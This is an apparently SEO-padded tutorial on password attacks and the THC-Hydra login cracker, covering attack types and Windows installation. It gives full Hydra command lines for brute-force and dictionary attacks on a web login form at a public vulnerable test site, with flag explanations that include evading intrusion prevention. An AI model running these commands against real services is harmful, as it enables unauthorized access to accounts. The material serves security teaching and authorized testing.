What is a password attack?

Thc Hydra Windows 7
Thc Hydra For Windows 7 Free Download
Thc Hydra Windows Download

When you need to brute force crack a remote authentication service, Hydra is often the tool of choice. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, ftp, http, https, smb, several databases, and much more. Like THC Amap this release is from the fine folks at THC. Number one of the biggest security holes are passwords, as every password security study shows. Thc Hydra is a proof of concept code, to give researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system.

A type of software attack in which the attacker tries to guess or crack encrypted passwords either manually or through the use of scripts.

Types of Password Attacks

Dictionary attacks – using a list of traditional passwords.
Password phishing – masquerading as a trustworthy entity.
Brute force attacks – generating all possible combinations.

Some differences between the online and off-line password cracking

There are significant differences between online and off-line password cracking.

With offline cracking, you have the hashes on your system, they are static, and you can try a dictionary, hybrid, and brute force attacks to you hearts content. You have as long as you want, and you can try many billions of attempts in a short space of time.

The attack success is purely dependent on password strength, verses processor power and time (and few user-chosen passwords will be secure enough to last).

With online password attacks, there are more issues to consider, such as; network bandwidth, account lockouts, tar-pitting, changing passwords, detection in logs and IDS.

Online attacks are more suited to relatively small and focused dictionary attacks rather than exhaustive brute-force.

What is THC-Hydra?

What is THC-Hydra?

Thc Hydra Windows 7

A very fast network logon cracker that support many different services.

**Protocols Supported by THC-Hydra:**

POP3
FTP
HTTP-GET, HTTP-FORM-POST, HTTPS-GET…
Firebird
Subversion (SVN)
Telnet
And many more

What type of attacks can THC-HYDRA do?

Parallel dictionary attacks (16 threads by default)
Brute force/Hybrid attacks
Check for null, reversed, same as username passwords
Slow down the process of attack- prevent detection- IPS (Intrusion Prevention System)
Parallel attack of different servers

How to install on Windows?

Download and install CYGWIN – Linux-like environment for Windows.
Download THC Hydra
Navigate to the directory where Hydra is placed
Open CYGWIN and type the command: cd C:hydra-7.3
Next “./configure“, then “make” and finally “make install“
For help- type: hydra
For help for module- type: hydra –U “module-name”

Thc Hydra For Windows 7 Free Download

Example: hydra –U http-form-post

Generate All Possible Combinations Attack

Register a new user “admin28” with password “12345”
Open “Developers Tool” Chrome Browser
Click on the Network Tab
Click the Recording button
Navigate to the test site
Enter the username and the password
Find the post request in the Network tab

Next Open Cygwin

Thc Hydra Windows Download

Navigate to the hydra’s folder
Execute the following command: hydra -l admin28 -x3:5:1 -o found.txt testasp.vulnweb.com http-post-form “/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout admin28”

The “admin28” user password will be saved in the “found.txt” file located in the hydra’s folder.

-l admin28 – point the username

-x3:5:1 – generates passwords with length between 3 and 5 with all numbers

-o found.txt – the found passwords will be stored here

testasp.vulnweb.com http-post-form – host name + type of protocol

“/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout admin28” – {relativeURL}:{FormDataParametersForUsernameAndPassword}:S={whatToFindInHtmlIfSuccessfullyLoggedIn}

relative URL = /Login.asp?RetURL=%2FDefault%2Easp%3F

You can copy the second part of the Form Data Row in the post request. Replace the real username with ^USER^ and the password with ^PASS^. The tool will replace them with the auto-generated ones.

With “:S=logout” you tell Hydra that it should stop trying if the HTML response contains the word “logout”.

If you want to perform dictionary attack, you can use the following command:

hydra -l admin29 -P pass.txt -o found.txt testasp.vulnweb.com http-post-form “/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout admin29”

-P pass.txt – path to the file containing the passwords

You can download a list with most common passwords from the Internet (search online for ‘ top 10000 most common passwords list’)

the “-vV” only puts Hydra into a verbose mode, so you see what is going on while it is running
the “-e ns” instructs Hydra to attempt check for valid NULL connection (meaning blank or no password used
the “-t x” defines the thread count to be used, or how many tasks at once (where x = a number)
the “-f” instructs Hydra to exit upon finding the first set of valid credentials or user/pass combo
the “-s” instruct Hydra to use SSL for connection

This tool should not be used to attack websites or services where you do not have permission to do so. Use this for legitimate testing purposes only.

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